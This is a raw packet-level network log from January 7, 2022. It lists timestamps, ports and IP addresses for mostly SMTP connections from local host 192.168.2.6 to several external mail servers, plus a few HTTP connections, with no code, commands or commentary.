Jan 7, 2022 15:44:02.069710016 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.069781065 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.069792986 CET	49967	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:02.069803953 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.069808006 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.069837093 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.069842100 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.069875956 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.069911003 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.069911003 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.069940090 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.069997072 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.070180893 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.070209026 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.070238113 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.070245981 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.070264101 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.070281029 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.070293903 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.070324898 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.070327997 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.070353985 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.070363045 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.070384979 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.070410967 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.070425034 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.070439100 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.070446968 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.070492029 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.070533037 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.070563078 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.070589066 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.070590019 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.070616961 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.070624113 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.070661068 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.070687056 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.070743084 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.070774078 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.070801973 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.070831060 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.070852041 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.070861101 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.070871115 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.070930958 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.070943117 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.070981026 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.071021080 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.071046114 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.071080923 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.071106911 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.071129084 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.071145058 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.071161032 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.071207047 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.071218014 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.071230888 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.071269035 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.071293116 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.071393967 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.071417093 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.071440935 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.071463108 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.071485996 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.071512938 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.071552992 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.071628094 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.071652889 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.071674109 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.071691036 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.071697950 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.071711063 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.071743011 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.071789980 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.071867943 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.071927071 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.071949959 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072009087 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.072036028 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.072124958 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072145939 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072169065 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072191954 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.072192907 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072216034 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072231054 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.072240114 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072254896 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.072277069 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.072303057 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072325945 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.072328091 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072352886 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072357893 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.072376013 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072382927 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.072412014 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.072436094 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.072495937 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072518110 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072534084 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072557926 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072573900 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.072581053 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072623968 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.072633028 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.072655916 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072675943 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.072681904 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072705030 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.072705984 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072729111 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072734118 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.072761059 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.072784901 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.072788954 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072815895 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072863102 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.072946072 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072971106 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.072992086 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.073018074 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.073040962 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.073061943 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.073084116 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.073107004 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.073201895 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.073225021 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.073246956 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.073271036 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.073295116 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.073354006 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.073376894 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.117631912 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.117707968 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.117726088 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.117841959 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.117858887 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.117873907 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.118005991 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.118117094 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.118130922 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.118139982 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.118151903 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.118375063 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.118393898 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.118407965 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.118423939 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.118504047 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.119338989 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.119357109 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.119427919 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.119512081 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.119554043 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.119638920 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.119873047 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.119986057 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.119999886 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.120013952 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.120575905 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.120594978 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.120610952 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.120717049 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.120733976 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.120794058 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.120810032 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.120970011 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.120985985 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.121037006 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.121124983 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.121143103 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.121195078 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.121471882 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.121592999 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.121643066 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.121812105 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.121881962 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.121900082 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.122044086 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.122061014 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.122076035 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.122447968 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.122540951 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.122562885 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.122863054 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.123003006 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.123075962 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.123248100 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.123265982 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.123281002 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.123327017 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.123480082 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.123492956 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.123501062 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.123512983 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.123631954 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.123650074 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.123666048 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.123763084 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.123780012 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.123878002 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.123895884 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.124046087 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.124063969 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.124243975 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.124319077 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.124334097 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.124746084 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.124763966 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.124779940 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.125118971 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.125394106 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.125411987 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.125422001 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.125432968 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.125447989 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.125459909 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.125473976 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.125521898 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.125539064 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.125550985 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.125673056 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.125691891 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.125935078 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.125956059 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.125972033 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.125988007 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126005888 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126020908 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126040936 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126056910 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126072884 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126089096 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126112938 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126203060 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126310110 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126477957 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126569986 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126585960 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126600981 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126617908 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126635075 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126650095 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126665115 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126681089 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126694918 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126710892 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126727104 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126737118 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126848936 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126866102 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126883030 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126899004 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126914024 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126928091 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126940966 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.126952887 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127126932 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127140045 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127198935 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127211094 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127243042 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127259016 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127274036 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127285004 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127300024 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127315998 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127415895 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127429962 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127489090 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127506018 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127521992 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127537966 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127553940 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127568960 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127648115 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127661943 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127705097 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127720118 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127732992 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127841949 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127856016 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127866030 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127880096 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127943993 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127959013 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.127969027 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.128160954 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.128177881 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.128190994 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.128201008 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.128211021 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.128326893 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.128346920 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.128365993 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.128380060 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.128396034 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.128406048 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.128474951 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.128520966 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.197455883 CET	25	49970	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:02.198440075 CET	49970	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:02.216284037 CET	49975	25	192.168.2.6	138.201.223.6
Jan 7, 2022 15:44:02.238409996 CET	25	49975	138.201.223.6	192.168.2.6
Jan 7, 2022 15:44:02.238691092 CET	49975	25	192.168.2.6	138.201.223.6
Jan 7, 2022 15:44:02.382221937 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.434506893 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.434693098 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.435261965 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.486799002 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.486927986 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.486996889 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.487322092 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.539139986 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.539160013 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.539175034 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.539315939 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.539422035 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.539450884 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.539722919 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.546308041 CET	25	49970	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:02.585416079 CET	49968	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:02.591732979 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.591768026 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.591795921 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.591823101 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.591850042 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.591877937 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.591877937 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.591969967 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.592009068 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.592103958 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.592705011 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.644181013 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.644217968 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.644246101 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.644273043 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.644299030 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.644310951 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.644325018 CET	25	49972	142.250.150.26	192.168.2.6
